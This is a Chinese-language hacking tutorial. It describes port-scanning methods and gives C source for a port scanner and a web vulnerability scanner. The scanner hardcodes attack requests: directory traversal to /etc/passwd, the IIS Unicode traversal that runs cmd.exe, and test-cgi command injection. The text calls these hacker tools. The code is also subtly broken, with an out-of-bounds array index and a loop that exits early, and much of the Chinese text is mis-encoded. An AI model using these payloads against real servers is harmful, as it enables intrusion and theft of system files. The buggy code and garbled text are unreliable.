一、端口掃描器功能簡(jiǎn)介:
服務(wù)器上所開放的端口就是潛在的通信通道,也就是一個(gè)入侵通道。對(duì)目標(biāo)計(jì)算機(jī)進(jìn)行端口掃描,能得到許多有用的信息,進(jìn)行端口掃描的方法很多,可以是手工進(jìn)行掃描、也可以用端口掃描軟件進(jìn)行。
掃描器通過(guò)選用遠(yuǎn)程TCP/IP不同的端口的服務(wù),并記錄目標(biāo)給予的回答,通過(guò)這種方法可以搜集到很多關(guān)于目標(biāo)主機(jī)的各種有用的信息,例如遠(yuǎn)程系統(tǒng)是否支持匿名登陸、是否存在可寫的FTP目錄、是否開放TELNET服務(wù)和HTTPD服務(wù)等。
二、常用端口掃描技術(shù):
1、TCP connect()掃描:
這 是最基本的TCP掃描,操作系統(tǒng)提供的connect()系統(tǒng)調(diào)用可以用來(lái)與每一個(gè)感興趣的目標(biāo)計(jì)算機(jī)的端口進(jìn)行連接。如果端口處于偵聽狀態(tài),那么 connect()就能成功。否則,這個(gè)端口是不能用的,即沒(méi)有提供服務(wù)。這個(gè)技術(shù)的一個(gè)最大的優(yōu)點(diǎn)是,你不需要任何權(quán)限。系統(tǒng)中的任何用戶都有權(quán)利使用 這個(gè)調(diào)用。另一個(gè)好處就是速度,如果對(duì)每個(gè)目標(biāo)端口以線性的方式,使用單獨(dú)的connect()調(diào)用,那么將會(huì)花費(fèi)相當(dāng)長(zhǎng)的時(shí)間,使用者可以通過(guò)同時(shí)打開 多個(gè)套接字來(lái)加速掃描。使用非阻塞I/O允許你設(shè)置一個(gè)低的時(shí)間用盡周期,同時(shí)觀察多個(gè)套接字。但這種方法的缺點(diǎn)是很容易被察覺,并且被防火墻將掃描信息 包過(guò)濾掉。目標(biāo)計(jì)算機(jī)的logs文件會(huì)顯示一連串的連接和連接出錯(cuò)消息,并且能很快使它關(guān)閉。
2、TCP SYN掃描:
這種技術(shù)通常認(rèn)為 是“半開放”掃描,這是因?yàn)閽呙璩绦虿槐匾蜷_一個(gè)完全的TCP連接。掃描程序發(fā)送的是一個(gè)SYN數(shù)據(jù)包,好象準(zhǔn)備打開一個(gè)實(shí)際的連接并等待反應(yīng)一樣(參 考TCP的三次握手建立一個(gè)TCP連接的過(guò)程)。一個(gè)SYN|ACK的返回信息表示端口處于偵聽狀態(tài):返回RST表示端口沒(méi)有處于偵聽?wèi)B(tài)。如果收到一個(gè) SYN|ACK,則掃描程序必須再發(fā)送一個(gè)RST信號(hào),來(lái)關(guān)閉這個(gè)連接過(guò)程。這種掃描技術(shù)的優(yōu)點(diǎn)在于一般不會(huì)在目標(biāo)計(jì)算機(jī)上留下記錄,但這種方法的缺點(diǎn)是 必須要有root權(quán)限才能建立自己的SYN數(shù)據(jù)包。
3、TCP FIN 掃描:
SYN掃描雖然是“半開放”方式掃描,但在某些時(shí)候也不能 完全隱藏掃描者的動(dòng)作,防火墻和包過(guò)濾器會(huì)對(duì)管理員指定的端口進(jìn)行監(jiān)視,有的程序能檢測(cè)到這些掃描。相反,F(xiàn)IN數(shù)據(jù)包在掃描過(guò)程中卻不會(huì)遇到過(guò)多問(wèn)題, 這種掃描方法的思想是關(guān)閉的端口會(huì)用適當(dāng)?shù)腞ST來(lái)回復(fù)FIN數(shù)據(jù)包。另一方面,打開的端口會(huì)忽略對(duì)FIN數(shù)據(jù)包的回復(fù)。這種方法和系統(tǒng)的實(shí)現(xiàn)有一定的關(guān) 系,有的系統(tǒng)不管端口是否打開都會(huì)回復(fù)RST,在這種情況下此種掃描就不適用了。另外這種掃描方法可以非常容易的區(qū)分服務(wù)器是運(yùn)行Unix系統(tǒng)還是NT系 統(tǒng)。
4、IP段掃描:
這種掃描方式并不是新技術(shù),它并不是直接發(fā)送TCP探測(cè)數(shù)據(jù)包,而是將數(shù)據(jù)包分成兩個(gè)較小的IP段。這樣就將一個(gè)TCP頭分成好幾個(gè)數(shù)據(jù)包,從而過(guò)濾器就很難探測(cè)到。但必須小心:一些程序在處理這些小數(shù)據(jù)包時(shí)會(huì)有些麻煩。
5、TCP 反向 ident掃描:
ident 協(xié)議允許(rfc1413)看到通過(guò)TCP連接的任何進(jìn)程的擁有者的用戶名,即使這個(gè)連接不是由這個(gè)進(jìn)程開始的。例如掃描者可以連接到http端口,然后 用identd來(lái)發(fā)現(xiàn)服務(wù)器是否正在以root權(quán)限運(yùn)行。這種方法只能在和目標(biāo)端口建立了一個(gè)完整的TCP連接后才能看到。
6、FTP 返回攻擊:
FTP 協(xié)議的一個(gè)有趣的特點(diǎn)是它支持代理(proxy)FTP連接,即入侵者可以從自己的計(jì)算機(jī)self.com和目標(biāo)主機(jī)target.com的 FTP server-PI(協(xié)議解釋器)連接,建立一個(gè)控制通信連接。然后請(qǐng)求這個(gè)server-PI激活一個(gè)有效的server-DTP(數(shù)據(jù)傳輸進(jìn) 程)來(lái)給Internet上任何地方發(fā)送文件。對(duì)于一個(gè)User-DTP,盡管RFC明確地定義請(qǐng)求一個(gè)服務(wù)器發(fā)送文件到另一個(gè)服務(wù)器是可以的,但現(xiàn)在這 個(gè)方法并不是非常有效。這個(gè)協(xié)議的缺點(diǎn)是“能用來(lái)發(fā)送不能跟蹤的郵件和新聞,給許多服務(wù)器造成打擊,用盡磁盤,企圖越過(guò)防火墻”。
7、UDP ICMP端口不能到達(dá)掃描:
這 種方法與上面幾種方法的不同之處在于使用的是UDP協(xié)議,而非TCP/IP協(xié)議。由于UDP協(xié)議很簡(jiǎn)單,所以掃描變得相對(duì)比較困難。這是由于打開的端口對(duì) 掃描探測(cè)并不發(fā)送確認(rèn)信息,關(guān)閉的端口也并不需要發(fā)送一個(gè)錯(cuò)誤數(shù)據(jù)包。幸運(yùn)的是許多主機(jī)在向一個(gè)未打開的UDP端口發(fā)送數(shù)據(jù)包時(shí),會(huì)返回一個(gè) ICMP_PORT_UNREACH錯(cuò)誤,這樣掃描者就能知道哪個(gè)端口是關(guān)閉的。UDP和ICMP錯(cuò)誤都不保證能到達(dá),因此這種掃描器必須還實(shí)現(xiàn)在一個(gè)包 看上去是丟失的時(shí)候能重新傳輸。這種掃描方法是很慢的,因?yàn)镽FC對(duì)ICMP錯(cuò)誤消息的產(chǎn)生速率做了規(guī)定。同樣這種掃描方法也需要具有root權(quán)限。
8、UDP recvfrom()和write() 掃描:
當(dāng) 非root用戶不能直接讀到端口不能到達(dá)錯(cuò)誤時(shí),Linux能間接地在它們到達(dá)時(shí)通知用戶。比如,對(duì)一個(gè)關(guān)閉的端口的第二個(gè)write()調(diào)用將失敗。在 非阻塞的UDP套接字上調(diào)用recvfrom()時(shí),如果ICMP出錯(cuò)還沒(méi)有到達(dá)時(shí)回返回EAGAIN-重試。如果ICMP到達(dá)時(shí),返回 ECONNREFUSED-連接被拒絕。這就是用來(lái)查看端口是否打開的技術(shù)。
三、編寫一個(gè)簡(jiǎn)單的端口掃描程序:
/********************************************/
/* 端口掃描器 源代碼 */
/* PortScanner.cpp */
/********************************************/
#include <stdio.h>
#include <string.h>
#include <winsock.h>
int main(int argc, char *argv[]) {
int mysocket;
int pcount = 0;
struct sockaddr_in my_addr;
WSADATA wsaData;
WORD wVersionRequested=MAKEWORD(1,1);
if(argc < 3) {
printf("usage: %s <host> <maxport>\n", argv[0]);
exit(1);
}
if (WSAStartup(wVersionRequested , &wsaData)){
printf("Winsock Initialization failed.\n");
exit(1);
}
for(int i=1; i < atoi(argv[2]); i++){
if((mysocket = socket(AF_INET, SOCK_STREAM,0)) == INVALID_SOCKET){
printf("Socket Error");
exit(1);
}
my_addr.sin_family = AF_INET;
my_addr.sin_port = htons(i);
my_addr.sin_addr.s_addr = inet_addr(argv[1]);
if(connect(mysocket, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) == SOCKET_ERROR)
closesocket(mysocket);
else{
pcount++;
printf("Port %d - open\n", i);
}}
printf("%d ports open on host - %s\n", pcount, argv[1]);
closesocket(mysocket);
WSACleanup();
return 0;
}
這個(gè)程序使用Borland C++編譯,程序中關(guān)鍵代碼是“my_addr.sin_port = htons(i)”,因?yàn)樽兞縤是一個(gè)循環(huán)量,它從一開始到使用者設(shè)定值結(jié)束,而htons(i)則是對(duì)連接遠(yuǎn)程服務(wù)器需要使用的端口進(jìn)行定義,之后使 用connect()函數(shù)連接指定端口,通過(guò)返回值判斷這個(gè)端口是否打開,這樣一個(gè)端口掃描的思路就出現(xiàn)了。
程序中用到的socket函數(shù)庫(kù)是專門實(shí)現(xiàn)網(wǎng)絡(luò)連接的一套綜合函數(shù)庫(kù),這套函數(shù)內(nèi)容豐富,在各種流行編程語(yǔ)言中都有,黑客在學(xué)習(xí)了C語(yǔ)言和socket函數(shù)庫(kù)以后,便可以快速掌握各種編程語(yǔ)言、并能夠編寫出相當(dāng)數(shù)量的黑客工具。
一、漏洞掃描器基本原理:
編寫漏洞掃描器探查遠(yuǎn)程服務(wù)器上可能存在的具有安全隱患的文件是否存在,它的socket建立過(guò)程和上面 的端口掃描器是相同的,所不同的是漏洞掃描器通常使用80端口,然后對(duì)這個(gè)端口發(fā)送一個(gè)GET文件的請(qǐng)求,服務(wù)器接收到請(qǐng)求會(huì)返回文件內(nèi)容,如果文件不存 在則返回一個(gè)錯(cuò)誤提示,通過(guò)接收返回內(nèi)容可以判斷文件是否存在。發(fā)送和接收數(shù)據(jù)需要使用函數(shù)send()和recv(),另外對(duì)流中存在的字符串進(jìn)行判斷 需要使用函數(shù)strstr(),這除了需要具備socket函數(shù)庫(kù)的知識(shí)以外,還需要一些有關(guān)string函數(shù)庫(kù)的知識(shí)。
二、簡(jiǎn)單的漏洞掃描源代碼:
/********************/
/* 端口掃描器 源代碼*/
/********************/
#include <stdio.h>
#include <string.h>
#include <winsock.h>
int main(int argc,char *argv[])
{
if(argc!=2){
printf("Useage : scan [IP address]\n");
return(1);
}
struct sockaddr_in blah;
struct hostent *he;
WSADATA wsaData;
int i;
WORD wVersionRequested;
SOCKET sock;
char buff[1024];
char *ex[10];
ex[1]="GET /../../../../etc/passwd HTTP/1.0\n\n";
ex[2]="GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0\n\n";
ex[3]="GET /A.ida/%c1%00.ida HTTP/1.0\n\n";
ex[4]="GET /cgi-bin/pfdispaly.cgi?/../../../../etc/motd HTTP/1.0\n\n";
ex[5]="GET /cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd HTTP/1.0\n\n";
ex[6]="GET /cgi-bin/test-cgi?* HTTP/1.0\n\n";
char *fmsg="HTTP/1.1 200 OK";
wVersionRequested = MAKEWORD( 1, 1 );
if (WSAStartup(wVersionRequested , &wsaData)){
printf("Winsock Initialization failed.\n");
exit(1);
}
if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
printf("Can not create socket.\n");
exit(1);
}
sock = socket(AF_INET,SOCK_STREAM,0);
blah.sin_family = AF_INET;
blah.sin_port = htons(80);
blah.sin_addr.s_addr= inet_addr(argv[1]);
if ((he=gethostbyname(argv[1]))!=NULL){
memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length);
}
else{
if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){
WSACleanup();
exit(1);
}
}
for (i=1 ; i<7; i++) {
if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){
send(sock,ex[i],strlen(ex[i]),0);
recv(sock,buff,sizeof(buff),0);
if(strstr(buff,fmsg)!=NULL){
printf("\nFound :%s\n", ex[i]);
}
}
closesocket(sock);
WSACleanup();
return(1);
}
}
這段代碼可以檢測(cè)六個(gè)漏洞,讀者可以根據(jù)自己的需要增加漏洞掃描的數(shù)量。程序?qū)崿F(xiàn)的很簡(jiǎn)潔,概括起來(lái)這段程序完成了一下四項(xiàng)工作:
1、連接目標(biāo)主機(jī)SERVER;
2、向目標(biāo)主機(jī)發(fā)送GET請(qǐng)求;
3、接收目標(biāo)返回?cái)?shù)據(jù);
4、根據(jù)返回?cái)?shù)據(jù)判斷文件是否存在。
三、返回?cái)?shù)值:
讀者也許不明白,程序究竟依靠返回的什么數(shù)值判斷文件是否存在的呢?現(xiàn)在讓我們修改一下程序,仔細(xì)看一下返回來(lái)的究竟是什么內(nèi)容,對(duì)上面的程序進(jìn)行如下修改:
/************************/
/* 檢測(cè)文件頭內(nèi)容 源代碼*/
/************************/
#include <stdio.h>
#include <string.h>
#include <winsock.h>
int main(int argc,char *argv[])
{
if(argc!=2){
printf("Useage : scan [IP address]\n");
return(1);
}
struct sockaddr_in blah;
struct hostent *he;
WSADATA wsaData;
WORD wVersionRequested;
SOCKET sock;
char buff[4096];
char *ex[2];
ex[1]="GET /index.html HTTP/1.0\n\n";
ex[2]="GET /noindex.htm HTTP/1.0\n\n";
wVersionRequested = MAKEWORD( 1, 1 );
if (WSAStartup(wVersionRequested , &wsaData)){
printf("Winsock Initialization failed.\n");
exit(1);
}
if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
printf("Can not create socket.\n");
exit(1);
}
sock = socket(AF_INET,SOCK_STREAM,0);
blah.sin_family = AF_INET;
blah.sin_port = htons(80);
blah.sin_addr.s_addr= inet_addr(argv[1]);
if ((he=gethostbyname(argv[1]))!=NULL){
memcpy((char *)&blah.sin_addr.s_addr,he->h_addr,he->h_length);
}
else{
if((blah.sin_addr.s_addr=inet_addr(argv[1]))==-1){
WSACleanup();
exit(1);
}
}
if (connect(sock,(struct sockaddr*)&blah,sizeof(blah))==0){
send(sock,ex[1],strlen(ex[1]),0);
recv(sock,buff,sizeof(buff),0);
printf("%s",buff);
send(sock,ex[2],strlen(ex[2]),0);
recv(sock,buff,sizeof(buff),0);
printf("%s",buff);
}
closesocket(sock);
WSACleanup();
return(1);
}
程序?qū)z測(cè)文件進(jìn)行了修改,指對(duì)“/index.htm”和“/noindex.htm”進(jìn)行判斷,因?yàn)閕ndex.htm是默認(rèn)的頁(yè) 面,所以大多數(shù)情況下是存在于服務(wù)器上的,而noindex.htm則是沒(méi)有找到文件的情況,通過(guò)對(duì)接收回來(lái)的流buff的printf()可以清楚地看 到返回來(lái)的究竟是什么東西。
通過(guò)運(yùn)行程序讀者會(huì)看到類似下面的內(nèi)容:
HTTP/1.1 200 OK
Date: Thu, 23 Aug 2001 10:59:31 GMT
Server: Apache/1.3.12 (Unix)
Last-Modified: Thu, 23 Aug 2001 10:44:11 GMT
ETag: "a9c96-b73e-3b84de7b"
Accept-Ranges: bytes
Content-Length: 46910
Connection: close
Content-Type: text/html
這 個(gè)htm程序的頭部說(shuō)明,返回內(nèi)容還會(huì)有很多,不過(guò)下面的內(nèi)容就是正常的htm文件了,這個(gè)頭是被隱藏的,所以大多數(shù)使用者在平時(shí)使用電腦過(guò)程中,不會(huì)發(fā) 現(xiàn)htm文件的開始部位,還有一個(gè)這樣的內(nèi)容說(shuō)明。這個(gè)頭里面包含了很多信息,例如第一行的200 OK就是文件存在的意思,如果是 404 NOT FOUND那么就是文件不存在,也就是這個(gè)內(nèi)容才能夠讓漏洞掃描器正常工作,現(xiàn)在讀者應(yīng)該明白為什么我們編寫的漏洞掃描器里面由 foundmsg=HTTP/1.1 200 OK的語(yǔ)句了吧。
通過(guò)這個(gè)頭還可以了解到對(duì)方服務(wù)器使用的是什么系統(tǒng),例如:Server: Apache/1.3.12 (Unix)就是我們掃描的服務(wù)器使用的系統(tǒng)類型。